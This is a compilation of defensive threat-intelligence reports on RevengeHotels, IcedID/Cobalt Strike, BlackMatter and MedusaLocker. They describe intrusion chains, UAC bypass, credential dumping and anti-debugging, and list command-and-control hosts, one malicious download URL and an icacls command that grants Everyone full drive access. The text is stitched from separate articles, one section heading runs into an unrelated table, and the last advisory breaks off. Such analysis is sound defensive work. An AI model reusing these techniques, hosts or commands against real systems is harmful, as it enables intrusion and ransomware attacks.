booking.com (more specifically, the page containing the card details). The code is specifically looking for data in Portuguese and English, allowing the attackers to steal credit card data from web pages written in these languages. In the ProCC campaigns, the downloaded files are Delphi binaries. The backdoor installed on the machine is more customized than that used by RevengeHotels: it’s developed from scratch and is able to collect data from the clipboard and printer spooler, and capture screenshots. Because the personnel in charge of confirming reservations usually need to pull credit card data from OTA websites, it’s possible to collect card numbers by monitoring the clipboard and the documents sent to the printer. ## A Bad Guy’s Concierge According to relevant underground forums and messaging groups, these criminals also infect front desk machines in order to capture credentials from the hotel administration software; they can then steal credit card details from it too. Some criminals also sell remote access to these systems, acting as a concierge for other cybercriminals by giving them permanent access to steal new data by themselves. Some Brazilian criminals tout credit card data extracted from a hotel’s system as high quality and reliable because it was extracted from a trusted source, i.e., a hotel administration system. ## Guests and Victims The majority of the victims are associated with the hospitality sector. Based on the routines used, we estimate that this attack has a global reach. However, based on our telemetry data, we can only confirm victims in the following countries: Argentina, Bolivia, Brazil, Chile, Costa Rica, France, Italy, Mexico, Portugal, Spain, Thailand, and Turkey. Based on data extracted from Bit.ly statistics, we can see that potential victims from many other countries have at least accessed the malicious link. This data suggests that the number of countries with potential victims is higher than our telemetry has registered. ## A Safe Stay RevengeHotels is a campaign that has been active since at least 2015, revealing different groups using traditional RAT malware to infect businesses in the hospitality sector. While there is a marked interest in Brazilian victims, our telemetry shows that their reach has extended to other countries in Latin America and beyond. The use of spear-phishing emails, malicious documents, and RAT malware is yielding significant results for at least two groups we have identified in this campaign. Other threat actors may also be part of this wave of attacks, though there is no confirmation at the current time. If you want to be a savvy and safe traveler, it’s highly recommended to use a virtual payment card for reservations made via OTAs, as these cards normally expire after one charge. While paying for your reservation or checking out at a hotel, it’s a good idea to use a virtual wallet such as Apple Pay, Google Pay, etc. If this is not possible, use a secondary or less important credit card, as you never know if the system at the hotel is clean, even if the rooms are… ## All Kaspersky Products Detect This Threat As: - HEUR:Backdoor.MSIL.Revenge.gen - HEUR:Trojan-Downloader.MSIL.RevengeHotels.gen - HEUR:Trojan.MSIL.RevengeHotels.gen - HEUR:Trojan.Win32.RevengeHotels.gen - HEUR:Trojan.Script.RevengeHotels.gen ## Indicators of Compromise (IoCs) Reference hashes: - 74440d5d0e6ae9b9a03d06dd61718f66 - e675bdf6557350a02f15c14f386fcc47 - df632e25c32e8f8ad75ed3c50dd1cd47 - a089efd7dd9180f9b726594bb6cf81ae - 81701c891a1766c51c74bcfaf285854b For a full list of IoCs as well as the YARA rules and intelligence report for this campaign, please visit the Kaspersky Threat Intelligence Portal.
# IcedID and Cobalt Strike vs Antivirus ## Intro Although IcedID was originally discovered back in 2017, it did not gain in popularity until the latter half of 2020. We have now analyzed a couple ransomware cases in 2021 (Sodinokibi & Conti) that used IcedID as the initial foothold into the environment. In June, we saw another threat actor utilize IcedID to download Cobalt Strike, which was used to pivot to other systems in the environment. Similar to the Sodinokibi case, anti-virus (AV) slowed down the attackers. AV frustrated them to the point they temporarily left the environment. Eleven days later, activity returned to the environment with more Cobalt Strike beacons, which they used to pivot throughout the domain using WMI. The threat actors, however, remained unable or unwilling to complete their final objectives. ## Case Summary This intrusion once again highlights common tools in use today for Initial Access and Post-Exploitation. Our intrusion starts when a malicious Word document is executed that drops and executes an HTA file. This HTA file is used to download IcedID in the form of a JPG file. This file is actually a Windows DLL file, which is executed via regsvr32 (1st stage IcedID). IcedID downloads some 2nd stage payloads and loads the DLL into memory with rundll32 (miubeptk2.dll – IcedID – used for persistence) and regsvr32 (ekix4.dll – Cobalt Strike beacon – privilege escalation via fodhelper) to pillage the domain. Service Execution via Cobalt Strike Beacon was used throughout the intrusion for privilege escalation. WMIC was utilized to launch ProcDump in an attempt to dump lsass.exe. WMIC was also used to perform discovery of endpoint security software. A flurry of other programs were used to perform discovery within the environment including nltest.exe, adfind.exe via adf.bat, and net.exe. Command and Control was achieved via IcedID and Cobalt Strike. There were numerous attempts at lateral movement via Cobalt Strike beacons, with limited success. Ultimately, the threat actors were unsuccessful when AV snagged their attempts to move to certain servers. Particular to this case, we saw an eleven-day gap in activity. While command and control never left, activity—other than beaconing—ceased. On day eleven, a new Cobalt Strike infrastructure was introduced to the environment with the threat actor displaying new techniques that were successful in moving laterally, where the initial activity failed. This may indicate a handoff to a new group, or the original actor may have returned; either way, we did not see a final action on objectives. ## Services We offer multiple services including a Threat Feed service which tracks Command and Control frameworks such as Cobalt Strike, Metasploit, Empire, PoshC2, etc. More information on this service and others can be found here. Two of the Cobalt Strike servers used in this intrusion were added to our Threat Feed on 6/3/21 and the other one was added on 6/14/21. We also have artifacts available from this case such as pcaps, memory captures, files, Kape packages, and more, under our Security Researcher and Organization services. ## Timeline Analysis and reporting completed by @iiamaleks and @THIR_Sec. Reviewed by @ICSNick and @MetallicHack. ## MITRE ATT&CK ### Initial Access Initial access for this intrusion was via a malicious attachment “order 06.21.doc”. The attachment was a Microsoft Word document that drops a malicious HTA file “textboxNameNamespace.hta”. ### Execution Analysis of the encoded HTA file revealed that a file named textboxNameNamespace.jpg was downloaded from http://povertyboring2020b[.]com. This file’s extension is misleading as the file is a Windows DLL. The HTA file is written to: C:\users\public. The HTA file when executed downloads a file named “textboxNameNamespace.jpg”, which is actually an IcedID DLL file responsible for the first stage. Through the same HTA file, the IcedID first stage DLL file is executed via regsvr32.exe. IcedID executes via rundll32, dropping DLL files related to both the IcedID second stage and Cobalt Strike beacons. After the initial compromise, the threat actors went silent for eleven days. After that period of time, a new Cobalt Strike beacon was run through IcedID and sent forth to a second phase of their activities. ### Persistence IcedID establishes persistence on the compromised host using a scheduled task named ‘{0AC9D96E-050C-56DB-87FA-955301D93AB5}’ that executes its second stage. This scheduled task was observed to be executing hourly under the initially compromised user. ### Privilege Escalation Ekix4.dll, a Cobalt Strike payload, was executed via fodhelper UAC bypass. Additional Cobalt Strike payloads were executed with the same fodhelper UAC bypass technique. Cobalt Strike payloads were used to escalate privileges to SYSTEM via a service created to run a payload using rundll32.exe as the LocalSystem user. This activity was observed on workstations, a file server, and a backup server. GetSystem was also used by the threat actors. ### Credential Access The threat actors were seen using overpass the hash to elevate privileges in the Active Directory environment via Mimikatz style pass the hash logon events, followed by subsequent suspect Kerberos ticket requests matching network alert signatures. Using these credentials, the threat actors attempted to use a Cobalt Strike beacon injected into the LSASS process to execute WMIC, which executed ProcDump on a remote system to dump credentials. ### Discovery IcedID initially performed some discovery of the local system and the domain. Later, Cobalt Strike beacons were used to perform discovery of the system and domain. A discovery batch script that runs ADFind.exe was dropped to the system. PowerView was used to discover local administrator access in the network. The Cobalt Strike beacon itself was used as a proxy to connect and retrieve the PowerView file. Cobalt Strike was injected into the winlogon.exe process and used to perform further discovery. ### Lateral Movement Lateral Movement chain #1 – The attacker was able to successfully move from workstation #1 to workstation #2 via service execution. The attacker tried to replicate this movement technique towards two servers but were stopped when their Cobalt Strike PowerShell payloads were nabbed by AV. Lateral Movement chain #2 – Another attempt was made to move from workstation #1 to one of the servers, but this attempt was also thwarted by AV. Just like the previous attempt, a remote service was created; however, this time a DLL payload was used rather than a PowerShell payload. Lateral Movement chain #3 – Privileges were escalated to SYSTEM on Workstation #1 via the Cobalt Strike ‘GetSystem’ command which makes use of named pipes. A Cobalt Strike DLL was copied to a server and executed using WMI. This activity was observed on three servers, including the Domain Controller. ### Command and Control The logs demonstrate multiple connections from IcedID to their C2 servers, including aws.amazon[.]com for connectivity checks. The Cobalt Strike beacons also make use of multiple C2 servers on the public internet. ## Impact We did not observe the final actions of the threat actors during this intrusion. ## IOCs ### Network - 88.80.147.101|443 gmbfrom.com - 213.252.245.62|443 charity-wallet.com - 162.244.81.62|443 krinsop.com - 91.193.19.37|443 lookupup.uno - 45.153.240.135|443 agalere.club - 12horroser.fun - 172.67.222.68|80 fintopikasling.top - 185.38.185.121|443 contocontinue.agency - 164.90.157.246|443 - 109.230.199.73|80 - http://povertyboring2020b[.]com ### File - order 06.21.doc - ekix4.dll - textboxNameNamespace.hta - textboxNameNamespace.jpg - adf.bat - Muif.dll ## Detections - ET DNS Query to a *.top domain - Likely Hostile - ET POLICY OpenSSL Demo CA - Internet Widgits Pty ## MITRE - Spearphishing Attachment – T1566.001 - Malicious File – T1204.002 - Signed Binary Proxy Execution – T1218 - Windows Management Instrumentation – T1047 - Command and Scripting Interpreter – T1059 - PowerShell – T1059.001 - Windows Command Shell – T1059.003 - Service Execution – T1569.002 - Windows Service – T1543.003 - Bypass User Account Control – T1548.002 - OS Credential Dumping – T1003 - System Information Discovery – T1082 - Security Software Discovery – T1518.001 - Domain Trust Discovery – T1482 - Network Share Discovery – T1135 - SMB/Windows Admin Shares – T1021.002 - Lateral Tool Transfer – T1570 - Application Layer Protocol – T1071
# BlackMatter Ransomware Analysis: The Dark Side Returns **By Alexandre Mundo and Marc Elias · September 22, 2021** BlackMatter is a new ransomware threat discovered at the end of July 2021. This malware started with a strong group of attacks and some advertising from its developers that claims they take the best parts of other malware, such as GandCrab, LockBit, and DarkSide, despite also saying they are a new group of developers. We at McAfee Enterprise Advanced Threat Research (ATR) have serious doubts about this last statement as analysis shows the malware has a great deal in common with DarkSide, the malware associated with the Colonial Pipeline attack which caught the attention of the US government and law enforcement agencies around the world. The main goal of BlackMatter is to encrypt files in the infected computer and demand a ransom for decrypting them. As with previous ransomware, the operators steal files and private information from compromised servers and request an additional ransom to not publish on the internet. ## Coverage and Protection Advice McAfee’s EPP solution covers BlackMatter ransomware with an array of prevention and detection techniques. ENS ATP provides behavioral content focusing on proactively detecting the threat while also delivering known IoCs for both online and offline detections. For DAT based detections, the family will be reported as Ransom-BlackMatter!<hash>. ENS ATP adds two additional layers of protection thanks to JTI rules that provide attack surface reduction for generic ransomware behaviors and RealProtect (static and dynamic) with ML models targeting ransomware threats. Updates on indicators are pushed through GTI, and customers of Insights will find a threat profile on this ransomware family that is updated when new and relevant information becomes available. ## Technical Details BlackMatter is typically seen as an EXE program and, in special cases, as a DLL (Dynamic Library) for Windows. Linux machines can be affected with special versions of it too, but in this report, we will only be covering the Windows version. This report will focus on version 1.2 of BlackMatter while also noting the important changes in the current version, 2.0. BlackMatter is programmed in C++ and has a size of 67Kb. The compile date of this sample is the 23rd of July 2021. While these dates can be altered, we think it is correct; version 1.9 has a compile time of 12 August 2021 and the latest version, 2.0, has a date four days later, on the 16th of August 2021. It is clear that the malware developers are actively improving the code and making detection and analysis harder. The first action performed by BlackMatter is preparation of some modules that will be needed later to get the required functions of Windows. BlackMatter uses some tricks to try and make analysis harder and avoid debuggers. Instead of searching for module names, it will check for hashes precalculated with a ROT13 algorithm. The modules needed are “kernel32.dll” and “ntdll.dll”. Both modules will try to get functions to reserve memory in the process heap. The APIs are searched using a combination of the PEB (Process Environment Block) of the module and the EAT (Export Table Address) and enumerating all function names. With these names, it will calculate the custom hash and check against the target hashes. At this point, BlackMatter will make a special code to detect debuggers, checking the last two “DWORDS” after the memory is reserved, searching for the bytes “0xABABABAB”. These bytes always exist when a process reserves memory in the heap and, if the heap has one special flag (that by default is set when a process is in a debugger), the malware will avoid saving the pointer to the memory reserved so, in this case, the variables will keep a null pointer. In Windows operating systems, the memory has different conditions based on whether a program is running in normal mode (as usual) or in debugging mode (a mode used by programmers, for example). In this case, when the memory is reserved to keep information, if it is in debugging mode, Windows will mark the end of this memory with a special value, “0xABABABAB”. BlackMatter checks for this value and, if found, the debugger is detected. To avoid having it run normally, it will destroy the function address that it gets before, meaning it will crash, thus avoiding the execution. After this check, it will create a special stub in the reserved memory which is very simple but effective in making analysis harder as the stub will need to be executed to see which function is called and executed. This procedure will be done with all functions that will be needed; the hashes are saved hardcoded in the middle of the “.text” section in little structs as data. The end of each struct will be recognized by a check against the “0xCCCCCCCC” value. This behavior highlights that the BlackMatter developers know some tricks to make analysis harder, though it is simple to defeat both by patching the binary. After this, the ransomware will use another trick to avoid the use of debuggers. BlackMatter will call the function “ZwSetInformationThread” with the class argument of 0x11 which will hide the calling thread from the debuggers. If the malware executes it correctly and a debugger is attached, the debugging session will finish immediately. This code is executed later in the threads that will be used to encrypt files. The next action is to check if the user that launched the process belongs to the local group of Administrators in the machine using the function “SHTestTokenMembership”. In the case that the user belongs to the administrator group, the code will continue normally, but in other cases, it will get the operating system version using the PEB (to avoid using API functions that can alter the version) and, if it is available, will open the process and check the token to see if that belongs to the Administrators group. In the case that the user does not belong to the Administrator group, the process token will use a clever trick to escalate privileges. The first action is to prepare the string “dllhost.exe” and enumerate all modules loaded. For each module, it will check one field in the initial structure that all executables have that keeps the base memory address where it will be loaded (for example, kernel32.dll in 0x7fff0000) and will compare with its own base address. If it is equal, it will change its name in the PEB fields and the path and arguments path to “dllhost.exe” (in the case of the path and argument path to the SYSTEM32 folder, where the legitimate “dllhost.exe” exists). This trick is used to try and mislead the user. For each module found, it will check the base address of the module with its own base address and, at that moment, will change the name of the module loaded, the path, and arguments to mislead the user. The process name will be “dllhost.exe” and the path will be the system directory of the victim machine. This trick, besides not changing the name of the process in the Task Manager, can make a debugger “think” that another binary is loaded and remove all breakpoints (depending on the debugger used). The second action is to use one exploit using COM (Component Object Model) objects to try to elevate privileges before finishing its own instance using the “Terminate Process” function. For detection, the module uses an undocumented function from NTDLL.DLL, “LoadedModulesLdrCallback” that lets the programmer set a function as a callback where it can get the arguments and check the PEB. In this callback, the malware will set the new Unicode strings using “RtlInitUnicodeString”; the strings are the path to “dllhost.exe” in the system folder and “dllhost.exe” as the image name. The exploit used to bypass the UAC (User Access Control), which is public, uses the COM interface of CMSTPLUA and the COM Elevation Moniker. In the case that it has administrator rights or uses the exploit with success, it will continue making the new extension that will be used with the encrypted files. For this task, it will read the registry key of “Machine Guid” in the cryptographic key (HKEY LOCAL MACHINE). This entry and value exist in all versions of Windows and is unique for the machine; with this value, it will make a custom hash and get the final string of nine characters. Next, the malware will create the ransom note name and calculate the integrity hash of it. The ransom note text is stored encrypted in the malware data. Usually, the ransom note name is “%s.README.txt”, where the wildcard is filled with the new extension generated previously. The next step is to get privileges that will be needed later; BlackMatter tries to get many privileges: - SE_BACKUP_PRIVILEGE - SE_DEBUG_PRIVILEGE - SE_IMPERSONATE_PRIVILEGE - SE_INC_BASE_PRIORITY_PRIVILEGE - SE_INCREASE_QUOTA_PRIVILEGE - SE_INC_WORKING_SET_PRIVILEGE - SE_MANAGE_VOLUME_PRIVILEGE - SE_PROF_SINGLE_PROCESS_PRIVILEGE - SE_RESTORE_PRIVILEGE - SE_SECURITY_PRIVILEGE - SE_SYSTEM_PROFILE_PRIVILEGE - SE_TAKE_OWNERSHIP_PRIVILEGE - SE_SHUTDOWN_PRIVILEGE After getting the privileges, it will check if it has SYSTEM privileges, checking the token of its own process. If it is SYSTEM, it will get the appropriate user for logon with the function “WTSQueryUserToken”. This function can only be used if the caller has “SeTcbPrivilege” that, by default, only SYSTEM has. After getting the token of the logged-on user, the malware will open the Windows station and desktop. In the case that it does not have SYSTEM permissions, it will enumerate all processes in the system and try to duplicate the token from “explorer.exe” (the name is checked using a hardcoded hash). If it has rights, it will continue normally; otherwise, it will check again if the token that was duplicated has administrator rights. In this case, it will continue normally, but in other cases, it will check the operating system version and the CPU (Central Processing Unit) mode (32- or 64-bits). This check is done using the function “ZwQueryInformationProcess” with the class 0x1A (ProcessWow64Information). In the case that the system is 32-bits, it will decrypt one little shellcode that will inject in one process that will enumerate using the typical “CreateRemoteThread” function. This shellcode will be used to get the token of the process and elevate privileges. In the case that the system is 64-bits, it will decrypt two different shellcodes and will execute the first one that gets the second shellcode as an argument. These shellcodes will allow BlackMatter to elevate privileges in a clean way. It is important to understand that to get the SYSTEM token, BlackMatter will enumerate the processes and get “svchost.exe”, but not only will it check the name of the process, it will also check that the process has the privilege “SeTcbPrivilege”. As only SYSTEM has it by default (and it is one permission that cannot be removed from this “user”), it will be that this process is running under SYSTEM and so it becomes the perfect target to attack with the shellcodes and steal the token that will be duplicated and set for BlackMatter. After this, it will decrypt the configuration that it has embedded in one section. BlackMatter has this configuration encrypted and encoded in base64. This configuration has a remarkably similar structure to Darkside, offering another clear hint that the developers are one and the same, despite their claims to the contrary. After decryption, the configuration can get this information: - RSA Key used to protect the Salsa20 keys used to encrypt the files. - A 16-byte hex value that remarks the victim id. - A 16-byte hex value that is the AES key that will be used to encrypt the information that will be sent to the C2. - An 8/9-byte array with the behavior flags to control the ransomware behavior. - A special array of DWORDs (values of 4 bytes each one) that keep the values to reach the critical points in the configuration. - Different blocks encoded and, sometimes, encrypted again to offer the field more protection. After getting the configuration and parsing it, BlackMatter will start checking if it needs to make a login with some user that is in the configuration. In this case, it will use the function “LogonUser” with the information of the user(s) that are kept in the configuration; this information has one user and one password: “[email protected]:12345” where “test” is the user, “@enterprise.com” is the domain, and “12345” is the password. The next action will be to check with the flag to see if a mutex needs to be created to avoid having multiple instances. This mutex is unique per machine and is based on the registry entry “MachineGuid” in the key “Cryptography”. If the system has this mutex already, the malware will finish itself. Making a vaccine with a mutex can sometimes be useful, but not in this case as the developers change the algorithm and only need to set the flag to false to avoid creating it. After, it will check if it needs to send information to the C2. If it does (usually, but not always), it will get information of the victim machine, such as username, computer name, size of the hard disks, and other information that is useful to the malware developers to know how many machines are infected. This information is encoded with base64 and encrypted with AES using the key in the configuration. The C2 addresses are in the configuration (but not all samples have them; in this case, the flag to send is false). The malware will try to connect to the C2 using a normal protocol or will use SSL checking the initial “http” of the string. The information is prepared in some strings decrypted from the malware and sent in a POST message. The message has values to mislead checks and to try and hide the true information as garbage. This “fake” data is calculated randomly. The C2 returns garbage data, but the malware will check if it starts and ends with the characters “{“ and “}”; if it does, the malware will ignore sending the information to another C2. BlackMatter is a multithread application and the procedure to send data to the C2 is done by a secondary thread. After that, BlackMatter will enumerate all units that are FIXED and REMOVABLE to destroy the recycle bin contents. The malware makes it for each unit that has it and are the correct type. One difference with DarkSide is that it has a flag for this behavior while BlackMatter does not. The next action is to delete the shadow volumes using COM to try and avoid detection using the normal programs to manage the shadow volumes. This differs from DarkSide that has a flag for this purpose. BlackMatter will check another flag and will enumerate all services based on one list in the configuration and will stop target services and delete them. This behavior is the same as DarkSide. Processes will be checked and terminated as with DarkSide, based on other configuration flags. After terminating the processes, BlackMatter will stop the threads from entering suspension or hibernating if someone is using the computer to prevent either of those outcomes occurring when it is encrypting files. This is done using the function “ZwSetThreadExecutionState”. The next action will be to enumerate all units, fixed and on the network, and create threads to encrypt the files. BlackMatter uses Salsa20 to encrypt some part of the file and will save a new block in the end of the file, protected with the RSA key embedded in the configuration with the Salsa20 keys used to encrypt it. This makes BlackMatter slower than many other ransomwares. After the encryption, it will send to the C2 all information about the encryption process, how many files were crypted, how many files failed, and so on. This information is sent in the manner previously described, but only if the config is set to true. If one mutex was created, at this moment it will be released. Later it will check the way that the machine boots with the function “GetSystemMetrics”. If the boot was done in Safe Mode, BlackMatter will set some keys for persistence in the registry for the next reboot and then attack the system, changing the desktop wallpaper. Of course, it will disable the safeboot options in the machine and reboot it (it is one of the reasons why it needs the privilege of shutdown). To ensure it can launch in safe mode, the persistence key value with the path of the malware will start with a ‘*’. If the machine starts in the normal way, it will change the desktop wallpaper with an alternative generated in runtime with some text about the ransom note. ## Versions 1.9 and 2.0 The new versions have some differences compared with versions 1.2 to 1.6: - Changes in the stub generation code. Previously only one type of stub was used, but in more recent versions several types of stubs are employed, with one chosen randomly per function. The stubs can be removed without any problem by patching the binary. - A new byte flag in the configuration that remarks if it needs to print the ransom note using the available printer in the system. Very similar to Ryuk, but instead BlackMatter uses APIs from “winspool.drv”. - Removed one C2 domain that was shut down by the provider. Additional changes in version 2.0: - This version changes the crypto algorithm to protect the configuration making it more complex to decrypt it. - Removed the last C2 that was shut down by the provider. - Added a new C2 domain. These changes suggest the developers are active on social media, with an interest in malware and security researchers. ## Vaccine Unlike some ransomware we’ve seen in the past, such as: | Technique ID | Technique Description | |--------------|-----------------------| | T1134 | Access Token Manipulation: BlackMatter accesses and manipulates different process tokens. | | T1486 | Data Encrypted for Impact: BlackMatter encrypts files using a custom Salsa20 algorithm and RSA. | | T1083 | File and Directory Discovery: BlackMatter uses native functions to enumerate files and directories searching for targets to encrypt. | | T1222.001 | Windows File and Directory Permissions Modification: BlackMatter executes the command `icacls "<DriveLetter>:\* /grant Everyone: F /T /C /Q` to grant full access to the drive. | | T1562.001 | Disable or Modify Tools: BlackMatter stops services related to endpoint security software. | | T1106 | Native API: BlackMatter uses native API functions in all code. | | T1057 | Process Discovery: BlackMatter enumerates all processes to try to discover security programs and terminate them. | | T1489 | Service Stop: BlackMatter stops services. | | T1497.001 | System Checks: BlackMatter tries to detect debuggers, checking the memory reserved in the heap. | | T1135 | Network Share Discovery: BlackMatter will attempt to discover network shares by building a UNC path in the following format for each driver letter, from A to Z: `\\<IP>\<drive letter>$`. | | T1082 | System Information Discovery: BlackMatter uses functions to retrieve information about the target system. | | T1592 | Gather Victim Host Information: BlackMatter retrieves information about the user and machine. | | T1070 | Valid Accounts: BlackMatter uses valid accounts to logon to the victim network. | | T1547 | Boot or Logon Autostart Execution: BlackMatter installs persistence in the registry. | | T1102 | Query Registry: BlackMatter queries the registry for information. | | T1018 | Remote System Discovery: BlackMatter enumerates remote machines in the domain. | | T1112 | Modify Registry: BlackMatter changes registry keys and values and sets new ones. | ## Conclusion BlackMatter is a new threat in the ransomware field and its developers know full well how to use it to attack their targets. The coding style is remarkably similar to DarkSide and, in our opinion, the people behind it are either the same or have a very close relationship. BlackMatter shares a lot of ideas, and to some degree code, with DarkSide: - Configurations are remarkably similar, especially with the last version of Darkside, besides the change in the algorithm to protect it which, despite having less options, remains with the same structure. We do not think that the developers of BlackMatter achieved this similarity by reversing DarkSide as that level of coding skill would have allowed them to create an entirely new ransomware from the ground up. Also, the idea that the DarkSide developers gave or sold the original code to them does not make any sense as it is an old product. - Dynamic functions are used in a similar way to DarkSide. - It uses the same compression algorithm for the configuration. - The victim id is kept in the same way as DarkSide. It is important to keep your McAfee Enterprise products updated to the latest detections and avoid insecure remote desktop connections, maintain secure passwords that are changed on a regular basis, take precautions against phishing emails, and do not connect unnecessary devices to the enterprise network. Despite some effective coding, mistakes have been made by the developers, allowing the program to be read, and a vaccine to be created, though we will stress again that it can affect other programs and is not a permanent solution and should be employed only if you accept the risks associated with it.
# Stop Ransomware: MedusaLocker ## SUMMARY Note: this joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish cyber threats from ransomware advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the Department of the Treasury, and the Financial Crimes Enforcement Network (FinCEN) are releasing this CSA to provide information on MedusaLocker ransomware. Observed as recently as May 2022, MedusaLocker actors predominantly rely on vulnerabilities in Remote Desktop Protocol (RDP) to access victims’ networks. The MedusaLocker actors encrypt the victim’s data and leave a ransom note with communication instructions in every folder containing an encrypted file. The note directs victims to provide ransomware payments to a specific Bitcoin wallet address. MedusaLocker appears to operate as a Ransomware-as-a-Service (RaaS) model based on the observed split of ransom payments. Typical RaaS models involve the ransomware developer and various affiliates that deploy the ransomware on victim systems. MedusaLocker ransomware payments appear to be consistently split between the affiliate, who receives 55 to 60 percent of the ransom, and the developer, who receives the remainder. To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To report incidents and anomalous activity or to request incident response resources or technical assistance related to this threat, contact CISA at [email protected]. Disclaimer: the information in this Joint Cybersecurity Advisory is provided “as is” for informational purposes only. The authors do not provide any warranties of any kind regarding this information or endorse any commercial product or service, including any subjects of analysis. This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. ## TECHNICAL DETAILS MedusaLocker ransomware actors most often gain access to victim devices through vulnerable Remote Desktop Protocol (RDP) configurations. Actors also frequently use email phishing and spam email campaigns—directly attaching the ransomware to the email—as initial intrusion vectors. MedusaLocker ransomware uses a batch file to execute PowerShell script invoke-ReflectivePEInjection. This script propagates MedusaLocker throughout the network by editing the EnableLinkedConnections value within the infected machine’s registry, which then allows the infected machine to detect attached hosts and networks via Internet Control Message Protocol (ICMP) and to detect shared storage via Server Message Block (SMB) Protocol. MedusaLocker then: - Restarts the LanmanWorkstation service, which allows registry edits to take effect. - Kills the processes of well-known security, accounting, and forensic software. - Restarts the machine in safe mode to avoid detection by security software. - Encrypts victim files with the AES-256 encryption algorithm; the resulting key is then encrypted with an RSA-2048 public key. - Runs every 60 seconds, encrypting all files except those critical to the functionality of the victim’s machine and those that have the designated encrypted file extension. - Establishes persistence by copying an executable (svhost.exe or svhostt.exe) to the %APPDATA%\Roaming directory and scheduling a task to run the ransomware every 15 minutes. - Attempts to prevent standard recovery techniques by deleting local backups, disabling startup recovery options, and deleting shadow copies. MedusaLocker actors place a ransom note into every folder containing a file with the victim's encrypted data. The note outlines how to communicate with the MedusaLocker actors, typically providing victims one or more email addresses at which the actors can be reached. The size of MedusaLocker ransom demands appears to vary depending on the victim’s financial status as perceived by the actors. ## Indicators of Compromise ### Encrypted File Extensions - .1btc - .bec - .cn - .datalock - .deadfilesgr - .faratak - .fileslock - .marlock01 - .marlock02 - .marlock08 - .marlock11 - .marlock13 - .marlock20 - .marlock25 - .matlock20 - .mylock - .NZ - .readinstructions - .rs - .tyco - .uslockhh - .zoomzoom ### Ransom Note File Names - how_to_recover_data.html - instructions.html - !!!HOW_TO_DECRYPT!!! - readinstructions.html - recovery_instructions.html - recovery_instruction.html ### Payment Wallets - 14oxnsSc1LZ5M2cPZeQ9rFnXqEvPCnZikc - 1DRxUFhvJjGUdojCzMWSLmwx7Qxn79XbJq - 18wRbb94CjyTGkUp32ZM7krCYCB9MXUq42 - 1AbRxRfP6yHePpi7jmDZkS4Mfpm1ZiatH5 - 1Edcufenw1BB4ni9UadJpQh9LVx9JGtKpP - 1DyMbw6R9PbJqfUSDcK5729xQ57yJrE8BC - 184ZcAoxkvimvVZaj8jZFujC7EwR3BKWvf - 14oH2h12LvQ7BYBufcrY5vfKoCq2hTPoev - bc1qy34v0zv6wu0cugea5xjlxagsfwgunwkzc0xcjj - bc1q9jg45a039tn83jk2vhdpranty2y8tnpnrk9k5q - bc1qz3lmcw4k58n79wpzm550r5pkzxc2h8rwmmu6xm - 1AereQUh8yjNPs9Wzeg1Le47dsqC8NNaNM - 1DeNHM2eTqHp5AszTsUiS4WDHWkGc5UxHf - 1HEDP3c3zPwiqUaYuWZ8gBFdAQQSa6sMGw - 1HdgQM9bjX7u7vWJnfErY4MWGBQJi5mVWV - 1nycdn9ebxht4tpspu4ehpjz9ghxlzipll - 12xd6KrWVtgHEJHKPEfXwMVWuFK4k1FCUF - 1HZHhdJ6VdwBLCFhdu7kDVZN9pb3BWeUED - 1PormUgPR72yv2FRKSVY27U4ekWMKobWjg - 14cATAzXwD7CQf35n8Ea5pKJPfhM6jEHak - 1PopeZ4LNLanisswLndAJB1QntTF8hpLsD ### Email Addresses - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] ### TOR Addresses - http://gvlay6u4g53rxdi5.onion/6-6pjEvFZDqKGImP5qrs2XAcUKUHwXPR1Z - http://gvlay6u4g53rxdi5.onion/8-Q5nAvqllwd3MfqeE0pWJTLrpdpedeyBF - http://gvlay6u4g53rxdi5.onion/21-l5PsticiJxSsATvI0EAoDaiDk9Ni5LN7 - http://gvlay6u4g53rxdi5.onion/30WXEJKEM4IEY4256M0BQ0LN02 ## MITRE ATT&CK TECHNIQUES MedusaLocker actors use the ATT&CK techniques listed in Table 1. ### Table 1: MedusaLocker Actors ATT&CK Techniques for Enterprise | Technique Title | ID | Use | |-------------------------------------|--------|-----------------------------------------------------------------------------------------| | External Remote Services | T1133 | MedusaLocker actors gained access to victim devices through vulnerable RDP configurations. | | Phishing | T1566 | MedusaLocker actors used phishing and spearphishing to obtain access to victims’ networks. | | Command and Scripting Interpreter | T1059.001 | MedusaLocker actors may abuse PowerShell commands and scripts for execution. | | Impair Defenses: Safe Mode | T1562.009 | MedusaLocker actors may abuse Windows safe mode to disable endpoint defenses. | | Data Encrypted for Impact | T1486 | MedusaLocker actors encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. | | Inhibit System Recovery | T1490 | MedusaLocker actors may deny access to operating systems containing features that can help fix corrupted systems. | ## MITIGATIONS - Implement a recovery plan that maintains and retains multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (i.e., hard drive, storage device, or the cloud). - Implement network segmentation and maintain offline backups of data to ensure limited interruption to the organization. - Regularly back up data and password protect backup copies stored offline. Ensure copies of critical data are not accessible for modification or deletion from the system where the data resides. - Install, regularly update, and enable real-time detection for antivirus software on all hosts. - Install updates for operating systems, software, and firmware as soon as possible. - Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts. - Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege. - Disable unused ports. - Consider adding an email banner to emails received from outside your organization. - Disable hyperlinks in received emails. - Enforce multifactor authentication (MFA). - Use National Institute of Standards and Technology (NIST) standards for developing and managing password policies: - Use longer passwords consisting of at least 8 characters and no more than 64 characters in length. - Store passwords in hashed format using industry-recognized password managers. - Add password user “salts” to shared login credentials. - Avoid reusing passwords. - Implement multiple failed login attempt account lockouts. - 